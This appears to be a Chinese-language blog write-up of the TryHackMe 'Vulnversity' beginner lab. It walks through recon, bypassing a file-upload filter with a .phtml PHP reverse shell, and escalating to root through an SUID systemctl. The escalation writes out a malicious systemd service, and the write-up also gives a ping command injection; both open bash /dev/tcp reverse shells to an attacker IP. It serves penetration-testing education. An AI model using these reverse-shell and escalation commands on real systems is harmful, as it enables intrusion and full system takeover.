tryhackme进攻性渗透测试学习初学者之Vulnversity(Esay)

Vulnversity

我最近完成了TryHackMe上的"Vulnversity(简单)"房间,这是一个专为初学者设计的攻击性渗透测试平台。在整个挑战过程中,我运用了一系列关键工具和技术来发现漏洞并获取访问权限。

首先,我使用了 nmap 对目标系统进行了全面扫描,识别出开放的端口和服务。这为我提供了潜在攻击路径的重要信息。

在通过dirsearch发现上传点后,使用 Burp Suite 进行文件上传扩展名模糊测试。通过系统性地测试各种文件扩展名,我成功地利用了一个漏洞,允许我上传并执行任意代码到服务器上。

挑战继续进行了 提权,这是获得更深入访问权限的关键阶段。我利用了 SUID(Set User ID) 文件进行提权,识别出具有提升权限的可执行文件。这导致我发现了 /bin/systemctl,这是一个通常限制为根用户使用的强大工具,我利用它启动了一个我控制的恶意服务。最终获取了root权限。

环境访问

Screenshot_1.png

选择openVPN

Screenshot_3.png

选择与自己系统对应的vpn配置文件进行下载

Screenshot_2.png

将下载的vpn导入openvpn进行连接,显示连接成功,访问10.10.10.10成功看到分配的IP ,就可以开始进行实验了,如果没有安装openVPN可以按照给出的步骤进行下载安装。成功访问 10.10.10.10此次分配的IP为 10.9.2.54

Screenshot_4.png

现在就可以点击start Machine按钮开启目标机器,会得到目标机器的IP,获取到IP大概需要一分钟的时间。

Screenshot_19.png

信息收集

使用nmap 扫描目标主机获取服务以及端口信息

nmap -sV 10.10.194.242

Screenshot_18.png

使用dirsearch进行目录扫描,设置线程数为300,将扫描结果保存到10.10.17.8.txt文件中

dirsearch-u http://10.10.194.242:3333 -w  /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 300 -r -o 10.10.194.242.txt

Screenshot_12.png

发现两个敏感目录

http://10.10.194.242:3333/internal/
http://10.10.194.242:3333/internal/uploads

访问发现为一个上传页面 ,首先上传一个正常的图片文件看看上传功能点是否正常,但是被拦截,上传php文件也被拦截了。

Screenshot_13.png

使用burp suite对文件后缀进行fuzz,将抓到的包发送到intruder模块,对需要进行fuzz的位置进行标记,然后选择Sniper模式

Screenshot_9.png

接下来 在payloads模块,导入准备好的fuzz字典,点击start attack按钮进行fuzz

Screenshot_8.png

测试结束,发现了phtml的响应为success,说明pthml文件类型没有做过滤,也就是说上传phtml文件类型是ok的。

Screenshot_7.png

漏洞利用

尝试上传一个phtml文件并访问,发现成功执行了php代码

Screenshot_5.png

现在直接尝试上传一个phtml的反弹shell,上传成功之后,使用nc进行监听,再访问我们刚刚上传的文件,以获取反弹shell

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

也可以直接通过冰蝎上传php马进行连接。

Screenshot_6.png

获取反弹shell之后 发现是www用户 ,经过查找并没有发现有用的信息,尝试进行提权

Screenshot_10.png

权限提升

通过命令:find / -user root -perm -4000 -exec ls -ldb {} \; 来查找具有SUID权限的文件

find 是一个用于搜索文件和目录的命令。
/ 指定搜索的起始目录,即从根目录开始搜索。
-user root

该选项指定查找由 root 用户拥有的文件。
-perm -4000

-perm 选项指定查找具有特定权限的文件。
-4000 表示查找设置了 SUID 位的文件。SUID 位使得文件在执行时以文件所有者的权限运行,而不是以执行者的权限运行。
-exec ls -ldb {} ;

-exec 选项允许对查找到的每个文件执行指定的命令。
ls -ldb {} 是要执行的命令,其中 {} 是一个占位符,代表每个查找到的文件。
ls -ldb 命令用于以长格式列出文件,并显示文件的详细信息,包括权限、所有者、文件大小和最后修改时间。
\; 表示 -exec 命令的结束,必须转义以防止被 shell 解释。

这条命令用于查找系统中所有由 root 用户拥有且设置了 SUID 权限的文件,并列出这些文件的详细信息。查找 SUID 文件有助于系统管理员识别可能存在安全隐患的文件,因为 SUID 文件在执行时会以文件所有者的权限运行,这可能会被利用进行特权提升攻击。

命令执行完成发现具有root权限的文件

Screenshot_11.png

-rwsr-xr-x 1 root root 40128 May 16  2017 /bin/su
-rwsr-xr-x 1 root root 142032 Jan 28  2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 40152 May 16  2018 /bin/mount
-rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root 27608 May 16  2018 /bin/umount
-rwsr-xr-x 1 root root 659856 Feb 13  2019 /bin/systemctl
-rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
-rwsr-xr-x 1 root root 30800 Jul 12  2016 /bin/fusermount

尝试使用ping命令和mount进行提权,都失败了。

ping -c 1 -p '$(/bin/bash -i >& /dev/tcp/10.9.2.54/9991 0>&1)' 127.0.0.1

Screenshot_20.png

于是尝试systemctl进行提权,在tmp下创建rootd.service,通过/bin/systemctl 来运行我们创建的恶意服务来进行反弹shell,通过冰蝎上传rootd.service文件再执行的方式失败。

Screenshot_14.png

最后是因为没有正确环境变量导致。。。在设置好环境变量后,再次运行服务,成功获取到反弹shell。

Screenshot_17.png

也可以直接通过上传点,上传一个反弹shell来利用,

设置环境变量

1. 设置 TERM 变量
export TERM=xterm
终端类型识别:TERM 变量定义了终端类型,告诉终端应用程序(如 vim 或 nano)当前使用的终端是什么类型。xterm 是一个常见且兼容性高的终端类型。
防止错误:某些应用程序(如 nano 和 vim)依赖于 TERM 变量来确定如何绘制用户界面和处理输入输出。如果这个变量未正确设置,可能会出现诸如“Error opening terminal: unknown”之类的错误。
2. 设置 HOME 变量
export HOME=/root
用户主目录定位:HOME 变量定义了用户的主目录路径,告诉应用程序用户的配置文件和其他个人文件的位置。对于 root 用户,主目录通常是 /root。
权限和配置文件:某些应用程序(如 vim 和 nano)需要访问用户主目录来读取或写入配置文件。如果 HOME 变量未正确设置,应用程序可能会尝试在错误的位置读取或写入文件,从而导致权限问题。

Screenshot_15.png

创建恶意服务文件

刚开始使用vim进行编辑 失败 ,使用nano同样也出现了一些问题 ,所以直接通过echo的方式写入反弹shell,并通过nc 进行监听

echo "[Unit]
Description=SystemEvil Service

[Service]
Type=simple
ExecStart=/bin/bash -c '/bin/bash -i >& /dev/tcp/10.9.2.54/9990 0>&1'

[Install]
WantedBy=multi-user.target" > /tmp/system_evil.service

以上内容创建了一个名为 system_evil.service 的 systemd 服务单元文件,存放在 /tmp 目录下。这个文件配置了一个恶意服务,目的是建立一个到远程服务器的反向 shell 连接。以下是这个服务单元文件的各个部分的详细解释:

[Unit] 部分:
Description=SystemEvil Service:提供服务的描述,这里描述为“SystemEvil Service”。

[Service] 部分:
Type=simple:表示服务类型为简单类型,ExecStart 启动的进程是服务的主要进程。
ExecStart=/bin/bash -c '/bin/bash -i >& /dev/tcp/10.9.2.54/9990 0>&1':这行命令启动服务。命令创建一个交互式的 bash shell。

[Install] 部分:
WantedBy=multi-user.target:指定该服务应在 multi-user 运行级别启动,即系统处于正常多用户模式时该服务会激活。

shell反弹

最后成功反弹shell,获得root权限

Screenshot_16.png

当然也可以直接上传一个Linux脚本,如linux-exploit-suggester等来对目标机器进行检测。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注